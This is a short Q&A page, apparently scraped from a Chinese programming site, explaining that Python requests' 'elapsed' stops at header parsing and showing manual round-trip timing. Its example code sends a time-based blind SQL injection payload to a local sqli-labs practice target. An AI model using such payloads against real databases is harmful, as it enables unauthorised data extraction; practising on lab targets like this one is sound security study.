且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

使用 Python 中的请求库测量 HTTP 响应时间.我做得对吗?

更新时间:2022-04-02 05:22:44

elapsed 测量从发送请求到完成解析响应headers 之间的时间,而不是直到传输完整响应.

elapsed measures the time between sending the request and finishing parsing the response headers, not until the full response has been transfered.

如果你想测量那个时间,你需要自己测量:

If you want to measure that time, you need to measure it yourself:

import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip